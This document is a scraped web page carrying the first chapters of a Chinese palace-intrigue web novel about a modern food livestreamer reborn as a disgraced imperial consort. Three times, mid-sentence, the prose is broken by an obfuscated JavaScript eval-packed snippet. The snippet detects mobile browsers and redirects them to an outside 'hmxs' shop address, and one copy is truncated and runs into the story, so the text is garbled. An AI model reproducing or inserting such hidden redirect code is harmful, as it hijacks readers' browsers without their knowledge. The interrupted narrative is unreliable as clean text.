《我靠吃播宠冠六宫》 1. 第一顿饭 “狗奴才,你竟然敢挡本主的路!” 殿外突兀的怒骂声猛地扯了下沈宓的神思,她身子控制不住地颤了颤,手里缺了个口的青花白瓷碗蹦蹦跳跳地落在地面上,碎成了满天星。 碗里得之不易的黑色药汤很快浸染在了灰蒙蒙的地毯上,斑斓了一大块,红褐色的,像陈年的旧血渍。 两名伺候在前的宫女一反常态,不再是肉痛皱眉,而是满面惊恐,其中一个身材瘦小的更是哆嗦起来:“金贵人又来了,这,这可怎么办呀······” 这不问还好,一问,随侍在前的另外两名宫人也跟着打起了冷颤,只有沈宓还在好奇心作祟,问了句:“金贵人是谁?” 这时,嘭地一声巨响,寝殿的大门被踹开,几个宫女太监恶狗似的冲进来,很是气势汹汹。 随即,一位穿着缠枝石榴红宫装的女人半是嫌弃半是冷傲地踏进了殿中,大宫女细心地托着她金贵华丽的裙摆,极贴心道:“小主慢些,小心脚下。” 小主?沈宓在嘴里无声地嚼了嚼这两个字,想必这位飞扬跋扈一看就不好惹的女人就是金贵人了。 倒的确金贵,披金穿银,满头珠翠,尤其是高髻上插着的那根粗长石榴金簪,直晃得她眼睛疼。 金贵人慢悠悠地走过来,视线倨傲的上下打量着她,眼睛怨毒地眯了眯,“贱人,你好大的胆子!” 这就开始宫斗上了?不是吧,她才刚刚······ 面前伺候的宫女太监饺子下锅似的扑通扑通跪了下去,个个声音凄惨地喊道:“贵人息怒,贵人恕罪啊!” “恕罪?现在知道恕罪了?晴嫔,本主是看得起你,才让你为本主腹中的龙胎抄经祈福,谁知你竟然联合宫人欺骗本主,让宫人代写,冲撞龙种,简直是最大恶极!” 金贵人一声厉喝,底下的宫女太监们俱都噤声贴地,抖得更厉害了。 只有大宫女福灵紧抿了下唇,强撑着道,“金贵人恕罪,您怀了龙种,贵重无比,谁敢冲撞您?只是我们娘娘有疯病本就抄写艰难,再加上您在启祥宫养胎可能有所不知,我们家娘娘半个月前病入膏肓,命悬一线,好不容易才捡回条命,实在是······” “贱婢,你竟敢忤逆本主!晴嫔,看到了吧?你的这个宫女福灵还真是和从前一样伶牙俐齿,你更是惯会纵着她欺辱本主。今日,本主定要好好地替你管管这以下犯上的贱婢!来人,把福灵打入慎刑司,好好学学规矩!”如今整个后宫算是捏在了金贵人手里,她岂能不知晴嫔的事? 她甚至盼着晴嫔不得好死,可碍于腹中的龙胎,怕无端惹了晦气,这半月来才没找静澜轩的麻烦。 没想到这贱人的命竟比茅坑里的石头还硬,死灰复燃了,她怎么能忍! “是!”金贵人身后两个小太监应声后立刻就要上前拿人,福灵直起身,面色惊惶地挡在前面,“贵人!我们娘娘可是一宫主位,您怎能如此啊?” 金贵人得意地翘起食指,似有若无地抚着另只手上新做的赤金宝石护甲,“一宫主位?那又如何,不过是个疯妇罢了,你还指望她能替你做主?”说完,金贵人眼神蒙上一层狠毒:“就算她能替你做主又如何?本主如今身怀龙胎,龙胎大于天!本主今日就算是要了你们主仆二人的命,你们也得给本主好好受着!愣着干什么,还不把这个目无上位的贱婢给本主拖下去!” 两个太监闻言,面目冰冷地走了过来。 沈宓忽地狠瞪向二人,爆喝一声:“放肆!本宫在此,竟敢以下犯上!” 那两个太监蓦地顿住了脚步,狐疑地朝身后的金贵人看去,怎料金贵人也有些懵然,“晴嫔,你,你难道······” 沈宓懒懒地抬了下眉眼,不屑地看着金贵人:“几日不见,金贵人好威风啊,竟不知什么时候成了娘娘,可以随意把宫人打入慎刑司了?” 金贵人咬了咬唇,一时间不知道该如何应对,她眉头紧皱着,视线死死地盯过来,末了,唇边泛起一丝冷笑:“本宫怀着龙嗣,只要为皇上诞下皇子,最不济是个嫔位,还收拾不了你这群贱婢了?” 沈宓摇头撇了撇嘴,“本宫听说若怀男胎,女子容貌会有所损减,只是看妹妹这副盛气凌人的样子,又怎知日后会诞下皇子呢?” “你竟敢!”金贵人气得怒目圆睁,赤红的指甲像出鞘的利剑,指着她怒喝道:“贱人,你敢诅咒本主!来人呐,给本主狠狠地掌嘴!” 宫女太监们显然有些犹豫,就连贴身宫女明珠都劝道:“小主,晴嫔好歹是一宫主位娘娘,若是之前还疯癫便罢了,如今看着好像······” 金贵人紧蹙着眉,心中闪过一丝犹疑。 另外一个宫女珊瑚却很是鄙夷:“咱们主子家世不俗,如今又有了身孕,将来前途不可限量,而晴嫔只不过是冷宫中的疯癫老妃子罢了,就算是真冒犯了又如何? 是了,一个惹了皇上厌弃、又疯疯癫癫的贱人还能翻出什么浪花?金贵人脑中的疯狂又涌动起来,想当年,这个贱人是怎样毒辣地折磨自己的,她今日要千倍百倍地还回来! “都给本主上,狠狠掌这个贱人的嘴,出了任何事,自有本主担着!” 沈宓看着金贵人狠下心肠,戾气丛生,有些头疼。 这副身体的原主是个疯子,平时痴傻如五岁幼童,金贵人这才敢以下犯上。她觉得乍然清醒,再借着娘娘的身份压一压,把人打发走也就算了。 没曾想原身这个娘娘的含金量是真低,水到怀了孕的低位妃嫔都收拾不了。 金贵人毒辣狰狞的视线仿佛沸水般浇遍了她全身,半个月了,穿越的真实感从来没有像现在这样击穿了肺腑,激得后背直冒冷汗——这可是人命如草芥,吃人不吐骨头的封建王朝啊! 更何况,还是在养蛊似的后宫。看金贵人这架势,今天是铁了心想要自己的命啊! 致命的危机会激发人意外的潜力,沈宓趁金贵人的宫人们还没包围上来,拼尽全力冲向前去,顿时掀起了殿内一片尖叫。 金贵人更是吓傻了,双眼略显呆滞,沈宓轻而易举地就抓住了金贵人的脖子,另只手猛地拔下她头上那根石榴金簪,稳准狠地抵在了她脖颈上的大动脉。 “贱人,我可以不活,但你也得死!一条贱命换你和你皇子的命,你说,值不值啊?” 金贵人的身子顿时就软了几分,只是嘴巴哆哆嗦嗦地还不认输:“你,你敢······” 沈晴握住簪子的手立刻又加了几分力道。 金贵人惨叫一声,白嫩的脖颈顿时渗出一抹滚热的鲜红。 擒贼先擒王,宫女太监们自然都吓傻了,立刻跪了满地,止不住地哀嚎:“晴嫔娘娘恕罪,晴嫔娘娘恕罪,万万不可啊!” 这时一声尖叫突然在殿中炸开:“血,贵人流血了!” 沈宓看着金贵人脖子上那抹蚊子血,轻蔑地撇了撇嘴:“你们主仆就这点儿胆量还敢欺辱本宫?” 金贵人的贴身宫女明珠闻言,顷刻间便涕泗横流地爬行过来,“晴嫔娘娘恕罪!晴嫔娘娘恕罪啊!是下面,我们贵人下面出血了!您高抬贵手吧!求您高抬贵手吧!” 沈宓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16914496|192506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一愣,金贵人的身子就和面团一样瘫在了怀里,她手不自觉地松开,宫女太监们忙上前接住。 定了定神,沈宓视线扫过去,就看到金贵人雪白嫩软的襦裙上有一大片鲜红刺目。 殿内顿时乱做一团,惊呼尖叫齐飞。 过了不知道多久,殿内才重新静下来,却像恐怖电影的悬念,戛然而止。 是死一般的寂静,沈宓脑海中下意识地跑起了走马灯:明明半个月前,她还穿着大牌高定,抱着香槟在泳池别墅和朋友们狂魔乱舞,庆祝生日。 她在闺蜜的撺掇下,嚷嚷着要去找男模,正在车后座和闺蜜们打嘴炮口嗨呢,一辆百吨王就嘶吼着冲了过来。 她当场被碾成豆腐脑,碎了一地。 不,她真的很想问,是点男模,不是噶人腰子,罪不至死吧? 等她再睁开眼时,就穿在了一个同名同姓的古代妃嫔身上。 这个晴嫔不仅失宠,还得了疯病,每天在活死人墓似的宫殿里等死,现在又冲撞了新宠妃腹中的皇嗣。 这穿越穿的,还不如把她串成串儿,烤了得了! 夏日炎炎,临近酉时七刻,落日恢弘,依旧如火如荼地描画着紫华宫,金瓦鳞鳞,玉楼生辉。 只是大景朝的皇帝早早就带着后宫嫔妃们去了行宫别院避暑,徒留这日落盛景,让偌大的皇宫更添寂寥。 而静澜轩就是死寂了。 “眼下事态未明,咱们可不能先着了相。前几日娘娘落水伤了身子,不喝药是不行的,我再出宫去求求人,看能不能再求些药回来。” 福喜眼眶通红,脸上还挂着一串泪珠,她紧紧握住福灵的手,“那你可要快些回来,眼下咱们静澜轩可就全仰仗姐姐了。” 福灵郑重地点了点头,“嗯,放心,一切有我。” 只是刚出静澜轩,那叫福灵的宫女原本忧心忡忡,强自镇定的脸上就换了副表情,阴沉的、得意的、庆幸的、轻蔑的神色被暗红青灰的暮色浸染,如走马灯般转着。 她走过了一条条冗长的宫道,又七拐八扭,来到了一座废旧的宫殿门前,四处细看一番,见没人才小心翼翼地进了门。 合上破旧的木门后,她抚着胸口轻轻呼了口气,原本之前是不用这样麻烦见线人的,她只需要在静澜轩中等着,线报自然会落在她手中,然而这次不同,晴嫔怕是······ 天色彻底黑沉下来,繁杂凌乱的树叶杂草中隐着一个模糊的黑影,浓浓地像一团化不开的雾。 “你瞧仔细了,金贵人真的见了红?” 低沉又冷森的声音像条蛇湿哒哒地黏在背上,福灵忍不住轻轻打了个颤,“瞧仔细了,金贵人的襦裙都被血湿透了,淋漓了一地,听说太医院的人至今未从金贵人的寝殿中出来呢,龙胎怕是保不住了。” “嗯。” “那公公,我现在应该怎么做?” “金贵人那边到底没传来确信儿,你急什么?安稳待在静澜轩中盯着晴嫔便是。” “可金贵人实在难缠,若是真的失了龙胎,还不知道怎么折腾静澜轩的人,公公,若是闹起来,您真的能保我在慎刑司无虞吗?” “你放心,主子说了,你若立下大功,无论是你的家人,还是你,不仅安然无恙,还有享用不尽的荣华富贵。” 福灵紧紧攥住了手,指尖刺入皮肉的痛堪堪让她稳住了急躁的呼吸,“是,一切都听主子的。” 草木枝叶窸窸窣窣的声音淡去,暗中的人看着福灵渐渐被夜色吞没的背影,嘴角挑起一抹阴冷至极的笑······ 2. 第二顿饭 静澜轩正殿内四扇大窗大开着,陈旧泛黄的宫扇几乎挥出了残影儿,闷热还是赖在口鼻胸口处,仿若实质。 沈宓却在这个时候猛地打了个寒颤,浑身是阵阵的酸麻。 福喜见状,忙上前抚了抚她的背:“娘娘,您还好吧?” 沈宓出神了半天,才对上福喜柔软又关切的眼神,殿内还有两个宫女和一个太监,另外那些好像在殿外当值。 “倒难为你们现在还肯留在静澜轩,不怕被本宫连累吗?” 福喜笑了笑,有些不经意地说道:“娘娘说得哪里话?奴婢是从小就跟您的,自您得了癔症后,奴婢日夜祷告上苍,盼了整整三年。如今您好不容易痊愈了,奴婢高兴还来不及呢。” 其他的宫人闻言也扑通扑通地跪了下来,声音哽咽道:“娘娘的大恩大德,奴婢们永世难忘,就是下辈子做牛做马也要报答娘娘的。” 沈宓蹙眉扯了扯脑海中的思绪,发现原主得宠那几年对妃嫔们那是相当狠辣跋扈,对自己宫里的人倒是大方,常常赏赐不说,有什么难关也愿意帮衬一二。 不是生重病时给叫了太医,就是家中困难时舍了银钱,皆是无心之举没想到竟养出了几个忠仆。 看来,这个失宠老妃子还是有些人品在身上的。 “你们对本宫如此忠心,本宫自然铭记于心,但本宫害了金贵人的皇嗣,皇帝恐怕不会饶恕本宫的,你们现在不走,将来恐有性命之忧。” 沈宓一方面是假意试探,看看他们的忠心到底有多少含金量,另一方面也是她现在思绪乱得很,有些泥菩萨过河的无奈和焦虑。 其中一个叫福清的宫女满面悲怆,眼神却是异常坚定:“娘娘言重了,自入了这重重深宫,哪一日不是九死一生?奴婢们命如草芥,也就是娘娘不嫌弃,给了奴婢们一个容身之所,让奴婢们活得像个人。若娘娘去了,奴婢们还有什么好留恋的呢?” 话音刚落,其他两人也忙应和,声音中的赤诚倒叫沈宓的心重重一坠。 看着这些也不过才十六七的宫女太监们,一个个面黄肌瘦,皮包骨头,有的手上结着厚厚的老茧,还有暗红突立的结痂,像块黏在破衣上的烂布丁。 在这吃人的深宫中,还能有这样一份心气属实是很难得了。 沈宓接过福喜递过来的温水,饮了一口,澄明的水划过喉咙,润过五脏六腑,原本焦躁的心也慢慢沉淀下来。 她是出生在小县城的厂二代,家里怎么也有几千万,但父母极度重男轻女,早早就计划着等她国外留学回来用婚姻来巩固家族生意。 倔强的她高中毕业后就在星探的带领下一头扎进娱乐圈,仅仅用了三年的时间就从十八线小透明跻身一线当红小花,两部大热上星剧女主,三个国际大牌代言,还有五六个大热综艺的通告,身价是父母的好几倍,她那个耀祖弟弟还得反过来求着她提携。 那一年,她像一朵娇艳的玫瑰,大街小巷散发着她的风情万种,魅力无限,真是春风得意马蹄疾。 于是,在一场庆功宴上她把自己喝成了猴屁股,沾染了齐天大圣的尿性,面对着行业大佬伸出的咸猪手,她没有选择最擅长的察言观色,炉火纯青的打太极,而是酣畅淋漓地打了回去,啪啪好几个耳光,那叫一个爽快啊。 第二天,她酒还没醒呢,大佬也很爽快地宣布圈内彻底封杀她。 醒来后,她的天就塌了。每天稀里糊涂地跟着经纪人四处求爷爷告奶奶,胃喝出了血也得捏着鼻子继续干杯,还要当街被经纪人指着鼻子痛骂,那叫一个难听,好像上辈子上上辈子都屠了他家满门似的。 那个时候,她也是个刚二十出头的小姑娘啊。 记得也是这样一个夏天,天降大雨,行人四处躲避,她落魄地走在大雨中,被狗仔拍了个正着。 第二天,她就登上了各大媒体的热搜头条,几乎到了全网群嘲的地步。 但那天大雨清冽爽朗的味道却一直萦绕在鼻尖,让她越发清醒——有什么大不了,老娘不干了! 那个时候,她才是个二十出头的小姑娘啊! 辞职、解约、打官司,她头也不回地离开了自己用力攀爬上的巅峰,转而飞向了当时正是风口的网红行业。借着原本就强大的粉丝基本盘,仅用了一年的时间,她就爬到了平台头部主播的位置,很多刚出道的小明星、熬了好多年的糊咖、潜力无限的明日之星,甚至她当年的老东家都提着厚礼,厚着脸皮求她合作。 至此,她完成了从征服男人到征服世界的完美过渡。 原始资本积累完成后,她招摇过市地回到老家,拆了她家老登费尽心思建造的沈家祠堂,建造了一座温馨宜居小别墅,每天欣赏着家族老登和耀祖们敢怒不敢言的精彩表演,在镜头前美美地吃一顿饭,就能赚得盆满钵满······ 扯回思绪,沈宓用力地咬了咬唇,不就是东山再起嘛,这活儿她熟! “好,既如此,本宫定会护好你们,不会辜负你们一片拳拳忠心。先起来吧。” 宫人们谢恩起身后,沈宓微眯了眯眼,这才发现,身边最得力的大宫女似乎不在。 “福喜,福灵哪里去了?”她状似不经意间问道。 “娘娘,您的药用完了,福灵姐姐给您求药去了。”福喜一脸憨厚地说道。 沈宓点了点头,“眼下静澜轩这样,倒是难为她能去求药,真是难得。” 福喜笑了笑:“福灵姐姐自是伶俐能干,为人也周到,在这宫中颇有人缘呢。您之前不小心落水,命悬一线,还是福灵姐姐到处求人,才求了位厉害的太医来,救下了娘娘。” 恍惚间,沈宓眼前好像又回到了半个月前的那个夜晚,夜色比酷夏毒太阳晒出的热汗还要粘稠,不过刚穿过来的她却是浑身冷汗,因为此时的原身正被人按进酸臭的水里,几近窒息。 奋力挣扎间,她迸发出惊人的爆发力,一胳膊肘把人捣在了地上。她也随之像滩烂泥似的瘫倒,黑暗淹没视线前,她隐约看到了一个宫女打扮的人像鬼魅似的······ 沈宓瞥了眼福喜,又看了看殿内的人,他们似乎对福灵很是信任,那么眼下,她也只能按下心中汹涌的思绪。 沈宓眉眼弯了弯:“嗯,福灵是个好的,你们都是好的,静澜轩有了你们,本宫的日子才有盼头啊。” 先给了一波情绪价值后,沈宓就开始思虑破局的法子。 说起来,原身的身体实在太虚弱了,她刚穿过来时几乎是日日昏睡,清醒的时候又震惊于这样奇异又令人崩溃的遭遇,对原身包括这个世界还真的一知半解呢。 知己知彼才能百战百胜。 沈宓一边喝着水,一边开始搜寻这具身体的记忆深处: 六年前这晴妃的确是大景朝紫华宫中煊赫一时的宠妃,受尽了帝王雨露,还怀上了皇帝登基后的第一个孩子。 后来,却无缘无故地小产了。 皇帝震怒,当时并没有有力的证据指证她的死对头德妃,皇帝就把人禁足宫中,而德妃宫里的人则全部拉去慎刑司严刑拷问。 晴妃犹嫌不足,亲自动手对付已诊出了身孕的德妃,却因害人心切,过于急躁,被德妃识破,事情败露。 皇帝此时依然宠着她,只轻飘飘地将她禁足了事。 然而晴妃心中愈发愤恨,甚至怨上了和她同一阵营的皇后不为她报杀子之仇。于是,她脑子一热,就向皇帝告发了曾和皇后联手陷害妃嫔的丑事。 皇帝忍无可忍,下令贬为晴嫔,幽禁到了宫中极为偏僻的宫室——静澜轩。 从此一代宠妃陨落,徒留深宫永巷里,宫人们茶余饭后的几声唏嘘怅叹。 沈宓蹙了蹙眉,遂问福喜:“喜儿,本宫这三年来浑浑噩噩,人事不知,竟不晓得这宫中形势如何了?” 福喜略思量了会,有些欲盖弥彰地笑着:“也没怎么变动,自皇后娘娘下,就是贵妃娘娘,德妃娘娘,还有庄妃娘娘,嫔位上只有您和康嫔。三年前大选的新人,只有滟贵人一枝独秀,金贵人也是自有了身孕后才在皇帝面前得了些脸面的。” 大景朝只有正三品嫔位上才是主位娘娘,也就是说自选秀后三年来,新人们最多也就爬到了贵人位? 沈宓先是撇了撇嘴,这皇帝,还真是够抠门的啊。尔后她又舒展了眉眼,虽然失宠了,但目前这个嫔位还是蛮值钱的嘛。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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沈宓笑着眯了眯眸子,“本宫听福喜说你去帮本宫寻药了?” 福灵也并没有邀功的意思,只是懒懒道:“嗯,娘娘如今大病初愈,这些药温补得很,最是得宜了。”说着,她顺手交给了福喜。 沈宓看着那装药的牛纸包鼓鼓囊囊的,似乎分量不少。 “倒难为你了,如今静澜轩处境艰难,你竟还能求来这么药。” 福灵似有所觉地看了过来,视线中有些微探究,“回娘娘的话,您病着的时候我时常往太医院去,无意间认识了位同乡,他见我可怜,倒便常常给我行个方便。” 沈宓似是欣慰地微微点头,“还记得你刚来本宫身边的时候还是位单纯直率的小姑娘呢。两年的时间,倒历练了不少。” “娘娘折煞我了,娘娘对我恩重如山,我当然要为娘娘尽心尽力才是。” “你的心意本宫自然明白,只是如今本宫的处境你也看到了,本就朝不保夕,如果金贵人再有什么闪失,皇上雷霆之怒下,本宫就是有心怕也保不住你们。不如趁现在,本宫先把你们送出去,也省得被本宫连累了。方才已问过他们,现不知你是如何打算的?” 福灵闻言有些诧异,抬头一看,却见沈宓笑容温软,有种她看不透的沉静,眉眼变幻间到底泄露了丝犹疑。 “我,自然是要跟着娘娘的。” 沈宓闻言,有些激动地下了床榻,拉过福灵的手紧紧握住,很是动容道:“本宫自王府至后宫,饱尝人情冷暖十载,不想遇上你们这样心思赤诚的人。听福喜她们说,半月前本宫病情加重,半夜里不慎跌落轩中的水池中,还是你奋不顾身地救了本宫呢。” 福灵面色如常,浅笑着推拒,“娘娘说这些做什么,这不是我应该做的吗? 沈宓视线细细描过她的眉眼,面上七分感动,三分愧疚。 宫漏夜长,幽怨深宫中,蓦地欢腾起一片聒噪的蛙声,惊得陈旧缓慢的纱帘飞舞起几缕。 亦如福灵被紧握着的手,在她掌心止不住地颤了颤。 沈宓眉心微动,脸上沾染了些白凉的月色······ 3. 第三顿饭 没有手机,没有光污染,没有莫名的噪音,在花香虫鸣中,沈宓香甜地睡到日上三竿。 揉着睡眼晨起时,身子都松快了不少,沈宓懒懒地打了个哈欠,床帘就被人掀开来,她微微蹙了下眉,嚯,好大一对浓黑眼圈儿。 福喜疲乏地挤出一个笑:“娘娘,您醒了?” 沈宓仔细打量了眼福喜,面黄肌瘦,星星点点的雀斑越发突兀,原本一张圆脸此时就像张干巴的淄博烧饼,一碰就碎得掉渣渣。 “你昨夜失眠了?” 福喜神色顿了顿,笑着回道:“夏日多是如此,毕竟蚊虫多了些。” 沈宓本想说那就多去内务府拿些驱虫的药来,但想到静澜轩如今的光景,还是抿了抿唇,不给人添堵。 梳妆的时候,沈宓却被自己堵住了。 她刚才还同情福喜,可福喜起码还有个人样儿。 而铜镜里这位,面皮惨白,眼窝却深陷乌黑,头发枯黄毛躁到鸡都懒得搭窝。唇色更是惨淡,若是抿紧了,就跟没了嘴似的。下巴尖得一低头就能把胸口戳个血窟窿······ 沈宓气得干笑了两声,好好好,她前世为了减肥用尽了力气和手段,现在也算得偿所愿,成饿死鬼了? 可等早膳摆上桌后,沈宓又傻了眼:一笼干巴巴,褶子比老太太还多的包子,一笼像纹了身花花绿绿的馊馒头,还有盆清澈光亮如镜子的米汤,再就是几碟可以当文物出土的黑巴咸菜······ 这伙食,天杀的,饿死鬼都能再饿死一次! 穿越这大半个月来,她身子虚弱,神思混乱,每天过得浑浑噩噩的,从来都是福喜喂什么她吃什么,没想到就吃这些,这是把她当小日子整呢! 沈宓气得快把筷子捏断,磨着牙恨道:“这是人吃的嘛!” 如果是嫔位以下的小妃子也就罢了,可她现在是正三品的九嫔,一宫主位娘娘!那些古董文玩,锦衣头面啥的暂且不提,但你让一个吃货没饭吃,那麻烦就大了。 伺候用膳的是福喜和福清,她们两个对视了一眼,都面色艰难得不知道如何开口,以前娘娘还神志不清的时候,也就罢了,如今娘娘病愈了,按照以前的脾性,那必然是······ 往常到了饭点,御膳房都是最忙碌的,送膳取膳的太监宫女流水似的一波接一波。 自皇帝带着后宫主子们去行宫避暑后,剩下宫里麻雀两三只,底下的人自然忙里偷闲,松散了许多。 如今御膳房内来往太监宫女三三两两,个个神情闲适,不像当差倒像是闲逛的。 沈宓立在殿外等了些时候,尚无一人前来问话。她觑了眼旁边的福喜,福喜一脸难色:“娘娘,咱们果真要如此吗?毕竟金贵人那边还不知如何,如今再和御膳房拉扯,恐怕······娘娘,咱们还是忍忍吧。” 沈宓冲福喜安抚地笑了笑,“你放心,本宫有数,有些事自然要忍的。” 福喜掩耳盗铃似的也笑了笑:“那就好,那就好。” 沈宓下一句却说道:“可就算咱们哭爹喊娘地把启祥宫的地磕烂,她就能大发慈悲饶了咱们?争是死,不争也是死?你怎么选?” 福喜咬了咬唇,还要再说些什么,福清却昂首挺胸地往御膳房冲去,沈宓眯着眼淡淡一笑,这姑娘倒是个有胆量的。 沈宓进来的时候,一个太监正趾高气扬地对着福清训话:“你这小丫头好没规矩!你们静澜轩的饭菜是一早就送去了,现在说不能用,这不是明摆着来找茬儿嘛?” “公公说对了,本宫还就是来找茬儿的。”沈宓施施然进来,笑得一脸和善。 太监闻言,愣了愣,见一穿着陈旧,形容枯槁的女人立在眼前,登时恼羞成怒:“你是什么东西敢口出狂言?” 这下就连老实的福喜都气不过了,“大胆,这是静澜轩晴嫔娘娘,你竟敢以下犯上?” 那太监又怔愣了下,很是狐疑地上下打量了着沈宓,见宫装陈旧,可的确是嫔妃打扮,他竟下意识地口无遮拦道:“晴嫔,不是已经疯了吗?” “劳公公牵挂,本宫如今已大好。”沈宓轻轻挑眉,脸上挂着意味不明的笑。 太监张了张嘴,这才恢复往日的机灵,眼珠子转了两转,却是不情不愿地跪了下去:“奴才有眼无珠,没认出娘娘,还请娘娘原谅则个。” 沈宓冷笑一声:“公公还是免了吧,本宫看如今就是皇上来了也得吃你的挂落呢。本宫竟不知,如今这膳房竟是你当家了?” 太监的背明显塌了下,声音恭敬了些,“娘娘折煞奴才了,这御膳房上有总管,下有领事,奴才位卑言轻,哪能做得了主啊。” 沈宓视线在那太监身上划拉了圈儿,倒是个机灵的,哪怕知道自己是个失宠老妃子,但身份不对等,就开始搬救兵了? “那就请能做主的来,否则,本宫就将你们这御膳房砸了!”沈宓眉眼飞扬,很是有妃嫔的凌厉来。 那太监哆嗦了下,忙下去叫人了。 福喜忍不住扯了扯沈宓的衣袖,“娘娘,您刚才不是说忍一忍嘛?” 沈宓一本正经道:“是啊,本宫忍着尽量不把御膳房砸烂。”毕竟她明天还得吃饭呢。 福喜乍一听,嘟囔着,“那就好,那就好······”顿了顿,她回过了神,忽地喊了句:“什么,把御膳房砸烂?” 这时候,一个大腹便便的太监慢悠悠走了过来,稳住身形后,他先是肆意地盯着沈宓打量了番,尔后才拿腔拿调地行礼问安:“御膳房领事太监王正见过晴嫔娘娘,娘娘吉安。” 沈宓自然没叫起,围着太监王正走了半圈儿才懒懒地抬了抬手:“起来吧。” 王正挤出一个惯常的笑脸:“晴嫔娘娘贵体大愈,实在可喜可贺,都怪奴才们不懂事,改日一定登门贺喜。” “公公真是会说笑,本宫只怕等不到那天,就饿死在静澜轩了。”沈宓似笑非笑地说道。 王正脸色大骇:“娘娘说得这是哪里话?” 沈宓朝身后使了个脸色,太监常盛就把早膳的食盒摆在了旁边的案桌上,一样样拿出了那些令人作呕的早膳。 “王公公,本宫知道御膳房事忙,难免有疏漏的地方,只是这样的早膳拿到静澜轩未免有些太过了吧?” 王正脸色变了又变,深深埋下头去:“娘娘恕罪,都怪奴才御下不严,让那些贱骨头钻了空子。只是今早静澜轩的膳食的确是按照分例送过去的,不知道是哪路上的下贱胚子使了坏,这才冒犯了娘娘啊。” 沈宓轻佻了下眉眼,“既如此,那王公公打算怎么处置呢?” 王正在宫中混了十几载,算是个老油子。可也没想到这破天荒都难有的事,如今竟发生在了晴嫔身上——她的疯病竟然好了。 那么再落魄也是正儿八经的主位娘娘。 然而,他侍奉的娘娘去行宫之前是耳提面命,要他好好“照顾”静澜轩,若是办不好,可有的麻烦。 思来想去,如今皇上皇后、贵妃都不在宫中,她一个主位娘娘穿成这样亲自来御膳房要饭,可见背后也没什么仪仗。 王正心一狠,又把皮球给踢了回去。 “哎呦,娘娘您放心,奴才回头一定好好教训底下那些不长眼的给您出气。只是这膳食一路送到静澜轩,不知道经了多少人的手,又不知是在膳房就出了事儿,还是在您的静澜轩被动了手脚,只能委屈娘娘等候些时日了。” 沈宓气极反笑,“你的意思是,还是本宫的错,没管好宫里的人?” “奴才哪里是这个意思?只是您之前常在病中,有些事顾不过来也是有的。”王正抬起脸,笑得不卑不亢,恰到好处。 沈宓笑着点了点头:“很好,王公公既然这么说,那本宫也没法子了。福喜、福清、常恩、小松子把御膳房给本宫砸了。” 除了福喜,其余三人都跟打了鸡血似的冲向了膳房各个角落,福喜张了张嘴巴,很有些乏力,“娘娘,您刚才不是说尽力忍着不砸烂嘛?” 沈宓理所当然地瞪了她一眼:“是啊,本宫说了,这不没动手呢嘛?” 福喜看着三人大闹天宫的架势,眉头还是紧蹙着,“奴婢还是去劝劝吧。”说着她颤颤巍巍地走过去,煞有介事地对着王正告了声得罪,当即便拦着常九道:“哎呀,错啦,错啦,娘娘平时都吃血燕,白燕都不看的。哎,今天这肘子炖得黑,娘娘更喜欢吃鱼翅。不是,这么粗糙的点心你也拿,娘娘可是爱吃蟹粉酥······” 王正闻言,心都碎了,要不姑奶奶您还是别劝了吧? “晴嫔娘娘,您这是做什么!” 沈宓嘴角轻挑,眨了眨眼,“王公公不是说本宫御下不严嘛,如今您见到了,确实如此,还请公公原谅则个。” 哼,当她这么多年娱乐圈白混的?坚决不跳别人挖的自证陷阱。与其内耗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16914498|192506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 折磨自己,不如发疯折腾别人! 说着,她一脚把案桌上汤粥滚滚的泥炉踹到了旁边的柴火垛里,汤汤水水顿时淋漓了一地,通红的煤块跐溜一声钻到引火的茅草堆里,很快便升腾起灰黑色的浓烟,打杂的粗使太监宫女们没怎么经事,扯着嗓子大喊大叫起来。 御膳房顿时乱成了一团······ 等回到宫中,沈宓才发现,原本跟在身后这四个唯唯诺诺的软包子,可真是人狠话不多,抢来的东西直接铺满了一大张八仙桌。 有蟹黄汤包、水晶蒸饺等各色面点,鸡肉粥、牛乳燕窝粥、桂花银耳羹更是各一大海碗,福喜知道原身爱吃甜的,就搜罗了好些栗子糕、蟹粉酥,甚至还有大名鼎鼎的酥油鲍螺。 手脚麻利的常九更不得了,竟抢了一盅蟹酿橙来。 古代的菜品虽没有现代那些繁复精致的香料,但食材都是实打实的新鲜,天然,浓郁的香味中透着一股子干净纯澄。 沈宓招呼静澜轩中的人一起吃,七个人扭扭捏捏的不肯坐下,她是真饿急了眼,一人给了一脚,八仙桌上这才圆满了。 沈宓对螃蟹没有任何抵抗力,先舀了一大勺蟹酿橙进嘴里,那股清香鲜甜直达五脏六腑,浑身忍不住打了个颤儿。尔后又夹了个嫩软弹牙、汤汁淋漓的蟹黄汤包,浓郁的鲜香让人差点儿咬到舌尖儿。酥油鲍螺细腻香滑,润泽甜美,一溜儿就顺到胃里,真真是甜到了心窝,吃得眼角都蹦出了几道水痕。 